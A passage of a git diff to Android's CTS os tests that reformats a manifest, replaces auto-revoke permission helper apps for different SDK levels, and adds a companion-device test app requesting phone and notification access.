             </intent-filter>
         </service>
 
 
         <service android:name="android.os.cts.EmptyService"
-            android:process=":remote">
+             android:process=":remote"
+             android:exported="true">
             <intent-filter>
-                <action
-                    android:name="android.os.cts.IEmptyService" />
-                <action
-                    android:name="android.os.REMOTESERVICE" />
+                <action android:name="android.os.cts.IEmptyService"/>
+                <action android:name="android.os.REMOTESERVICE"/>
             </intent-filter>
         </service>
 
         <service android:name="android.os.cts.CtsRemoteService"
-            android:process=":remote">
+             android:process=":remote"
+             android:exported="true">
             <intent-filter>
-                <action
-                    android:name="android.os.cts.ISecondary" />
-                <action
-                    android:name="android.os.REMOTESERVICE" />
+                <action android:name="android.os.cts.ISecondary"/>
+                <action android:name="android.os.REMOTESERVICE"/>
             </intent-filter>
         </service>
 
         <service android:name="android.os.cts.SeccompTest$IsolatedService"
-                android:isolatedProcess="true">
+             android:isolatedProcess="true">
         </service>
 
         <service android:name="android.os.cts.MessengerService"
-                android:process=":messengerService">
+             android:process=":messengerService">
         </service>
 
-        <uses-library android:name="android.test.runner" />
+        <service android:name="android.os.cts.IntentLaunchService"
+             android:exported="true" />
+
+        <receiver android:name="android.os.cts.IntentLaunchReceiver"
+            android:exported="true" />
+
+        <uses-library android:name="android.test.runner"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.os.cts"
-                     android:label="CTS tests of android.os">
+         android:targetPackage="android.os.cts"
+         android:label="CTS tests of android.os">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/tests/os/AutoRevokeDummyApp/Android.bp b/tests/tests/os/AutoRevokeDummyApp/Android.bp
deleted file mode 100644
index 1436586..0000000
--- a/tests/tests/os/AutoRevokeDummyApp/Android.bp
+++ /dev/null
@@ -1,33 +0,0 @@
-//
-// Copyright (C) 2020 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "CtsAutoRevokeDummyApp",
-    defaults: ["cts_defaults"],
-    sdk_version: "test_current",
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "vts",
-        "mts",
-        "general-tests",
-    ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
-}
diff --git a/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml b/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml
deleted file mode 100644
index bed0bf0..0000000
--- a/tests/tests/os/AutoRevokeDummyApp/AndroidManifest.xml
+++ /dev/null
@@ -1,36 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--s
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.os.cts.autorevokedummyapp">
-
-    <uses-permission android:name="android.permission.READ_CALENDAR" />
-
-    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
-
-    <application>
-        <activity android:name="android.os.cts.autorevokedummyapp.MainActivity"
-                  android:exported="true"
-                  android:visibleToInstantApps="true" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
-
diff --git a/tests/tests/os/AutoRevokeDummyApp/src/android/os/cts/autorevokedummyapp/MainActivity.kt b/tests/tests/os/AutoRevokeDummyApp/src/android/os/cts/autorevokedummyapp/MainActivity.kt
deleted file mode 100644
index 0ddfa77..0000000
--- a/tests/tests/os/AutoRevokeDummyApp/src/android/os/cts/autorevokedummyapp/MainActivity.kt
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.os.cts.autorevokedummyapp
-
-import android.app.Activity
-import android.content.Intent
-import android.net.Uri
-import android.os.Bundle
-import android.widget.Button
-import android.widget.LinearLayout
-import android.widget.LinearLayout.VERTICAL
-import android.widget.TextView
-
-class MainActivity : Activity() {
-
-    val whitelistStatus by lazy { TextView(this) }
-
-    override fun onCreate(savedInstanceState: Bundle?) {
-        super.onCreate(savedInstanceState)
-
-        setContentView(LinearLayout(this).apply {
-            orientation = VERTICAL
-
-            addView(whitelistStatus)
-            addView(Button(this@MainActivity).apply {
-                text = "Request whitelist"
-
-                setOnClickListener {
-                    startActivity(
-                        Intent(Intent.ACTION_AUTO_REVOKE_PERMISSIONS)
-                            .setData(Uri.fromParts("package", packageName, null)))
-                }
-            })
-        })
-
-        requestPermissions(arrayOf("android.permission.READ_CALENDAR"), 0)
-    }
-
-    override fun onResume() {
-        super.onResume()
-
-        whitelistStatus.text = "Auto-revoke whitelisted: " + packageManager.isAutoRevokeWhitelisted
-    }
-}
diff --git a/tests/tests/os/AutoRevokePreRApp/Android.bp b/tests/tests/os/AutoRevokePreRApp/Android.bp
deleted file mode 100644
index 35f3a81..0000000
--- a/tests/tests/os/AutoRevokePreRApp/Android.bp
+++ /dev/null
@@ -1,34 +0,0 @@
-//
-// Copyright (C) 2020 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "CtsAutoRevokePreRApp",
-    defaults: ["cts_defaults"],
-    sdk_version: "test_current",
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "vts",
-        "vts10",
-        "mts",
-        "general-tests",
-    ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
-}
diff --git a/tests/tests/os/AutoRevokePreRApp/AndroidManifest.xml b/tests/tests/os/AutoRevokePreRApp/AndroidManifest.xml
deleted file mode 100644
index 972a19f..0000000
--- a/tests/tests/os/AutoRevokePreRApp/AndroidManifest.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.os.cts.autorevokeprerapp">
-
-    <uses-permission android:name="android.permission.READ_CALENDAR" />
-
-    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29" />
-    <application>
-        <activity android:name="android.os.cts.autorevokeprerapp.MainActivity"
-                  android:exported="true"
-                  android:visibleToInstantApps="true" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
-
diff --git a/tests/tests/os/AutoRevokePreRApp/src/android/os/cts/autorevokeprerapp/MainActivity.kt b/tests/tests/os/AutoRevokePreRApp/src/android/os/cts/autorevokeprerapp/MainActivity.kt
deleted file mode 100644
index ad4066b..0000000
--- a/tests/tests/os/AutoRevokePreRApp/src/android/os/cts/autorevokeprerapp/MainActivity.kt
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.os.cts.autorevokeprerapp
-
-import android.app.Activity
-import android.os.Bundle
-
-class MainActivity : Activity() {
-
-    override fun onCreate(savedInstanceState: Bundle?) {
-        super.onCreate(savedInstanceState)
-
-        requestPermissions(arrayOf("android.permission.READ_CALENDAR"), 0)
-    }
-}
diff --git a/tests/tests/os/AutoRevokeQApp/Android.bp b/tests/tests/os/AutoRevokeQApp/Android.bp
new file mode 100644
index 0000000..11470c3
--- /dev/null
+++ b/tests/tests/os/AutoRevokeQApp/Android.bp
@@ -0,0 +1,34 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAutoRevokeQApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "vts10",
+        "mts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java", "src/**/*.kt"],
+}
diff --git a/tests/tests/os/AutoRevokeQApp/AndroidManifest.xml b/tests/tests/os/AutoRevokeQApp/AndroidManifest.xml
new file mode 100644
index 0000000..fea9971
--- /dev/null
+++ b/tests/tests/os/AutoRevokeQApp/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.os.cts.autorevokeqapp">
+
+    <uses-permission android:name="android.permission.READ_CALENDAR" />
+
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29" />
+    <application>
+        <activity android:name="android.os.cts.autorevokeqapp.MainActivity"
+                  android:exported="true"
+                  android:visibleToInstantApps="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
+
diff --git a/tests/tests/os/AutoRevokeQApp/src/android/os/cts/autorevokeqapp/MainActivity.kt b/tests/tests/os/AutoRevokeQApp/src/android/os/cts/autorevokeqapp/MainActivity.kt
new file mode 100644
index 0000000..101f200
--- /dev/null
+++ b/tests/tests/os/AutoRevokeQApp/src/android/os/cts/autorevokeqapp/MainActivity.kt
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts.autorevokeqapp
+
+import android.app.Activity
+import android.os.Bundle
+
+class MainActivity : Activity() {
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
+        requestPermissions(arrayOf("android.permission.READ_CALENDAR"), 0)
+    }
+}
diff --git a/tests/tests/os/AutoRevokeRApp/Android.bp b/tests/tests/os/AutoRevokeRApp/Android.bp
new file mode 100644
index 0000000..ca05272
--- /dev/null
+++ b/tests/tests/os/AutoRevokeRApp/Android.bp
@@ -0,0 +1,33 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAutoRevokeRApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "mts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java", "src/**/*.kt"],
+}
diff --git a/tests/tests/os/AutoRevokeRApp/AndroidManifest.xml b/tests/tests/os/AutoRevokeRApp/AndroidManifest.xml
new file mode 100644
index 0000000..486f6aa
--- /dev/null
+++ b/tests/tests/os/AutoRevokeRApp/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--s
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.os.cts.autorevokerapp">
+
+    <uses-permission android:name="android.permission.READ_CALENDAR" />
+
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
+
+    <application>
+        <activity android:name="android.os.cts.autorevokerapp.MainActivity"
+                  android:exported="true"
+                  android:visibleToInstantApps="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
+
diff --git a/tests/tests/os/AutoRevokeRApp/src/android/os/cts/autorevokerapp/MainActivity.kt b/tests/tests/os/AutoRevokeRApp/src/android/os/cts/autorevokerapp/MainActivity.kt
new file mode 100644
index 0000000..c97f883
--- /dev/null
+++ b/tests/tests/os/AutoRevokeRApp/src/android/os/cts/autorevokerapp/MainActivity.kt
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts.autorevokerapp
+
+import android.app.Activity
+import android.content.Intent
+import android.net.Uri
+import android.os.Bundle
+import android.widget.Button
+import android.widget.LinearLayout
+import android.widget.LinearLayout.VERTICAL
+import android.widget.TextView
+
+class MainActivity : Activity() {
+
+    val allowlistStatus by lazy { TextView(this) }
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
+        setContentView(LinearLayout(this).apply {
+            orientation = VERTICAL
+
+            addView(allowlistStatus)
+            addView(Button(this@MainActivity).apply {
+                text = "Request allowlist"
+
+                setOnClickListener {
+                    startActivity(
+                        Intent(Intent.ACTION_AUTO_REVOKE_PERMISSIONS)
+                            .setData(Uri.fromParts("package", packageName, null)))
+                }
+            })
+        })
+
+        requestPermissions(arrayOf("android.permission.READ_CALENDAR"), 0)
+    }
+
+    override fun onResume() {
+        super.onResume()
+
+        allowlistStatus.text = "Auto-revoke allowlisted: " + packageManager.isAutoRevokeWhitelisted
+    }
+}
diff --git a/tests/tests/os/AutoRevokeSApp/Android.bp b/tests/tests/os/AutoRevokeSApp/Android.bp
new file mode 100644
index 0000000..d4d220f
--- /dev/null
+++ b/tests/tests/os/AutoRevokeSApp/Android.bp
@@ -0,0 +1,33 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAutoRevokeSApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "mts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java", "src/**/*.kt"],
+}
diff --git a/tests/tests/os/AutoRevokeSApp/AndroidManifest.xml b/tests/tests/os/AutoRevokeSApp/AndroidManifest.xml
new file mode 100644
index 0000000..d4f4f04
--- /dev/null
+++ b/tests/tests/os/AutoRevokeSApp/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--s
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.os.cts.autorevokesapp">
+
+    <uses-permission android:name="android.permission.READ_CALENDAR" />
+
+    <uses-sdk android:minSdkVersion="31" android:targetSdkVersion="31" />
+
+    <application>
+        <activity android:name="android.os.cts.autorevokesapp.MainActivity"
+                  android:exported="true"
+                  android:visibleToInstantApps="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
+
diff --git a/tests/tests/os/AutoRevokeSApp/src/android/os/cts/autorevokesapp/MainActivity.kt b/tests/tests/os/AutoRevokeSApp/src/android/os/cts/autorevokesapp/MainActivity.kt
new file mode 100644
index 0000000..c04efb2
--- /dev/null
+++ b/tests/tests/os/AutoRevokeSApp/src/android/os/cts/autorevokesapp/MainActivity.kt
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts.autorevokesapp
+
+import android.app.Activity
+import android.content.Intent
+import android.net.Uri
+import android.os.Bundle
+import android.widget.Button
+import android.widget.LinearLayout
+import android.widget.LinearLayout.VERTICAL
+import android.widget.TextView
+
+class MainActivity : Activity() {
+
+    val allowlistStatus by lazy { TextView(this) }
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
+        setContentView(LinearLayout(this).apply {
+            orientation = VERTICAL
+
+            addView(allowlistStatus)
+            addView(Button(this@MainActivity).apply {
+                text = "Request allowlist"
+
+                setOnClickListener {
+                    startActivity(
+                        Intent(Intent.ACTION_AUTO_REVOKE_PERMISSIONS)
+                            .setData(Uri.fromParts("package", packageName, null)))
+                }
+            })
+        })
+
+        requestPermissions(arrayOf("android.permission.READ_CALENDAR"), 0)
+    }
+
+    override fun onResume() {
+        super.onResume()
+
+        allowlistStatus.text = "Auto-revoke allowlisted: " + packageManager.isAutoRevokeWhitelisted
+    }
+}
diff --git a/tests/tests/os/CompanionTestApp/Android.bp b/tests/tests/os/CompanionTestApp/Android.bp
new file mode 100644
index 0000000..dbd4bb4
--- /dev/null
+++ b/tests/tests/os/CompanionTestApp/Android.bp
@@ -0,0 +1,37 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsCompanionTestApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    static_libs: [
+        "compatibility-device-util-axt"
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "vts10",
+        "mts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java", "src/**/*.kt"],
+}
diff --git a/tests/tests/os/CompanionTestApp/AndroidManifest.xml b/tests/tests/os/CompanionTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..9cb2b99
--- /dev/null
+++ b/tests/tests/os/CompanionTestApp/AndroidManifest.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--s
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.os.cts.companiontestapp">
+
+    <uses-permission android:name="android.permission.CALL_PHONE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+    <uses-permission android:name="android.permission.ANSWER_PHONE_CALLS" />
+    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.READ_CALL_LOG" />
+    <uses-permission android:name="android.permission.MANAGE_ONGOING_CALLS" />
+    <uses-permission android:name="android.permission.USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER" />
+    <uses-permission android:name="android.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE" />
+    <uses-permission android:name="android.permission.REQUEST_COMPANION_PROFILE_WATCH" />
+
+    <uses-feature android:name="android.software.companion_device_setup" />
+
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
+
+    <application android:label="Sample Companion App">
+        <activity android:name="android.os.cts.companiontestapp.CompanionTestAppMainActivity"
+                  android:exported="true"
+                  android:visibleToInstantApps="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
+        <service
+            android:name=".NotificationListener"
+            android:exported="true"
+            android:label="Notification Listener Service"
+            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService" />
+            </intent-filter>
+        </service>
+
+        <service
+            android:name=".DevicePresenceListener"
+            android:exported="true"
+            android:label="Presence Listener Service"
+            android:permission="android.permission.BIND_COMPANION_DEVICE_SERVICE">
+            <intent-filter>
+                <action android:name="android.companion.CompanionDeviceService" />
+            </intent-filter>
+        </service>
+
+    </application>
+</manifest>
+
diff --git a/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt
new file mode 100644
index 0000000..042224a
--- /dev/null
+++ b/tests/tests/os/CompanionTestApp/src/android/os/cts/companiontestapp/CompanionTestAppMainActivity.kt
@@ -0,0 +1,209 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts.companiontestapp
+
+import android.Manifest.permission.CALL_PHONE
+import android.app.Activity
+import android.bluetooth.BluetoothAdapter
+import android.bluetooth.BluetoothDevice
+import android.bluetooth.BluetoothManager
+import android.bluetooth.le.ScanResult
+import android.companion.AssociationRequest
+import android.companion.AssociationRequest.DEVICE_PROFILE_WATCH
+import android.companion.BluetoothDeviceFilter
+import android.companion.CompanionDeviceManager
+import android.content.ComponentName
+import android.content.Context
+import android.content.Intent
+import android.content.IntentSender
+import android.content.pm.PackageManager
+import android.os.Bundle
+import android.os.Handler
+import android.os.Looper
+import android.os.Parcelable
+import android.os.Process
+import android.util.Log
+import android.widget.Button
+import android.widget.CheckBox
+import android.widget.EditText
+import android.widget.LinearLayout
+import android.widget.LinearLayout.VERTICAL
+import android.widget.TextView
+import android.widget.Toast
+import java.util.regex.Pattern
+
+class CompanionTestAppMainActivity : Activity() {
+
+    val associationStatus by lazy { TextView(this) }
+    val permissionStatus by lazy { TextView(this) }
+    val notificationsStatus by lazy { TextView(this) }
+    val bypassStatus by lazy { TextView(this) }
+
+    val nameFilter by lazy { EditText(this).apply { hint = "Name Filter" } }
+    val singleCheckbox by lazy { CheckBox(this).apply { text = "Single Device" } }
+    val watchCheckbox by lazy { CheckBox(this).apply { text = "Watch" } }
+
+    val cdm: CompanionDeviceManager by lazy { val java = CompanionDeviceManager::class.java
+        getSystemService(java)!! }
+    val bt: BluetoothAdapter by lazy { val java = BluetoothManager::class.java
+        getSystemService(java)!!.adapter }
+
+    var device: BluetoothDevice? = null
+
+    private val mainHandler = Handler(Looper.getMainLooper())
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
+        setContentView(LinearLayout(this).apply {
+            orientation = VERTICAL
+
+            addView(associationStatus)
+            addView(permissionStatus)
+            addView(notificationsStatus)
+            addView(bypassStatus)
+
+            addView(Button(ctx).apply {
+                text = "^^^ Refresh"
+                setOnClickListener { refresh() }
+            })
+
+            addView(nameFilter)
+            addView(singleCheckbox)
+            addView(watchCheckbox)
+
+            addView(cdmButton("Associate") {
+                if (singleCheckbox.isChecked) {
+                    setSingleDevice(true)
+                }
+                if (watchCheckbox.isChecked) {
+                    setDeviceProfile(DEVICE_PROFILE_WATCH)
+                }
+                addDeviceFilter(BluetoothDeviceFilter.Builder().apply {
+                    if (!nameFilter.text.isEmpty()) {
+                        setNamePattern(Pattern.compile(".*${nameFilter.text}.*"))
+                    }
+                }.build())
+            })
+
+            addView(Button(ctx).apply {
+                text = "Request notifications"
+                setOnClickListener {
+                    cdm.requestNotificationAccess(
+                            ComponentName(ctx, NotificationListener::class.java))
+                }
